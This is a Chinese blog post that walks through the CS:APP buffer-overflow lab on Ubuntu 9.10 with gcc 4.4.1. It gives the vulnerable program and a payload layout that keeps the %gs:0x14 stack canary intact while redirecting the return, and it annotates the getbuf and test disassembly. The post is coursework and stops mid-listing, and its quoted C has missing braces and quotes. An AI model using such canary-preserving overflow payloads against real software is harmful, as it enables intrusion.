Ubuntu 9.10环境下缓存区溢出攻击实验


环境:Ubuntu 9.10 kernel 2.6.31    gcc版本:4.4.1 
这个是csapp 《深入理解计算机系统》的一道题,直接在原程序运行的时候实现缓存区溢出攻击已经不可能实现了,除非你是用的版本很低的内核和gcc,如gcc 3.4.3。 

先是王珑珑同学做这道题,我也跟着做了下,花了挺长时间,这期间很感谢王珑珑同学的耐心讲解,thanks~~~  


原题如下: 
/* Bomb program that is solved using a buffer overflow attack */ 

#include <stdio.h> 
#include <stdlib.h> 
#include <ctype.h> 

/* Like gets, except that characters are typed as pairs of hex digits. 
Nondigit characters are ignored.  Stops when encounters newline */ 
char *getxs(char *dest) 

int c; 
int even = 1; /* Have read even number of digits */ 
int otherd = 0; /* Other hex digit of pair */ 
char *sp = dest; 
while ((c = getchar()) != EOF && c != ’ ’) { 
if (isxdigit(c)) { 
int val; 
if (’0’ <= c && c <= ’9’) 
val = c - ’0’; 
else if (’A’ <= c && c <= ’F’) 
val = c - ’A’ + 10; 
else 
val = c - ’a’ + 10; 
if (even) { 
otherd = val; 
even = 0; 
} else { 
*sp++ = otherd * 16 + val; 
even = 1; 



*sp++ = ’’; 
return dest; 

/* $begin getbuf-c */ 
int getbuf() 

char buf[12]; 
getxs(buf); 
return 1; 

void test() 

int val; 
printf("Type Hex string:"); 
val = getbuf(); 
printf("getbuf returned 0x%x ", val); 

/* $end getbuf-c */ 

int main() 

int buf[16]; 
/* This little hack is an attempt to get the stack to be in a 
stable position 
*/ 
int offset = (((int) buf) & 0xFFF); 
int *space = (int *) alloca(offset); 
*space = 0; /* So that don’t get complaint of unused variable */ 
test(); 
return 0; 

正常时程序退出时总是返回1,现在要求通过缓存区溢出,让程序返回0xdeadbeef。 
注:(由于现在gcc在代码汇编代码中添加了%gs的缓存区溢出验证机制,所以如果gcc的版本较高,本实验只能在gdb下完成) 

下面的网址是王珑珑童鞋的实现方式,他的gcc版本是4.3.3:html">http://hi.baidu.com/featherain/blog/item/99207b4ede9b2cf3d62afc1e.html(通过在缓存区中植入一段攻击代码,然后让getbuf() ret到缓存区攻击代码出,最后让攻击代码返回text())。如果在gcc 4.4.1,4.3.2,3.4.3下用这种方法会报“段错误”(因为是从代码断跳转到了堆栈段)。 

下面是实现缓存区溢出攻击的另一种方式。 
输入:|任意十二个字符的编码||%gs:0x14||任意8个字符的编码||getbuf栈贞的基地  址||text()中第二个printf()的地址||01 00 00 00 ||71 87 04 08||ef be ad de| 

下面解释为什么用输入上面哪些字符来实现缓存区溢出攻击。 
用gcc编译生成buffbomb.c的可执行程序后,用objdump反汇编发现getbuf的函数如下: 
080485c0 <getbuf>: 
215  80485c0:   55                      push   %ebp 
216  80485c1:   89 e5                   mov    %esp,%ebp 
217  80485c3:   83 ec 28                sub    $0x28,%esp 
218  80485c6:   65 a1 14 00 00 00       mov    %gs:0x14,%eax 
219  80485cc:   89 45 f4                mov    %eax,-0xc(%ebp) 
220  80485cf:   31 c0                   xor    %eax,%eax 
221  80485d1:   8d 45 e8                lea    -0x18(%ebp),%eax 
222  80485d4:   89 04 24                mov    %eax,(%esp) 
223  80485d7:   e8 44 ff ff ff          call   8048520 <getxs> 
224  80485dc:   b8 01 00 00 00          mov    $0x1,%eax 
225  80485e1:   8b 55 f4                mov    -0xc(%ebp),%edx 
226  80485e4:   65 33 15 14 00 00 00    xor    %gs:0x14,%edx 
227  80485eb:   75 02                   jne    80485ef <getbuf+0x2f> 
228  80485ed:   c9                      leave 
229  80485ee:   c3                      ret 
230  80485ef:   90                      nop 
231  80485f0:   e8 57 fe ff ff          call   804844c <__stack_chk_fail@plt> 
232  80485f5:   8d 74 26 00             lea    0x0(%esi,%eiz,1),%esi 
233  80485f9:   8d bc 27 00 00 00 00    lea    0x0(%edi,%eiz,1),%edi 

发现第217行:sub $0x28, %esp   即为getbuf()申请了40个字节的堆栈空间,我们申请的数组是从当前基址偏移24个字节开始的,负责检查缓存区溢出的%gs:0x14是从当前基址偏移12个字节开始的。 
(注:4.4.1以前的版本char数组是从当前基址偏移16个字节处开始,负责检查缓存区溢出的%gs:0x14是从当前基址偏移4个字节开始的) 

查看test()函数: 
08048600 <test>: 
236  8048600:   55                      push   %ebp 
237  8048601:   89 e5                   mov    %esp,%ebp 
238  8048603:   83 ec 18                sub    $0x18,%esp 
239  8048606:   c7 44 24 04 60 87 04    movl   $0x8048760,0x4(%esp) 
240  804860d:   08 
241  804860e:   c7 04 24 01 00 00 00    movl   $0x1,(%esp) 
242  8048615:   e8 f2 fd ff ff          call   804840c <__printf_chk@plt> 
243  804861a:   e8 a1 f

相关内容

    暂无相关文章